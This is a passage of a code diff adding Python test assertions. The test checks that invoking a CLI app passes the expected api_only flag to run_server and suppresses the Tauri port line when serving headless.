+    CliRunner().invoke(app, _BASE + extra, catch_exceptions = True)
+
+    assert (
+        captured.get("api_only") is expected
+    ), f"run_server got api_only={captured.get('api_only')!r}, expected {expected}"
+    # Headless serving must suppress the Tauri-only TAURI_PORT line.
+    assert (
+        captured.get("emit_tauri_port") is False
+    ), f"run_server got emit_tauri_port={captured.get('emit_tauri_port')!r}, expected False"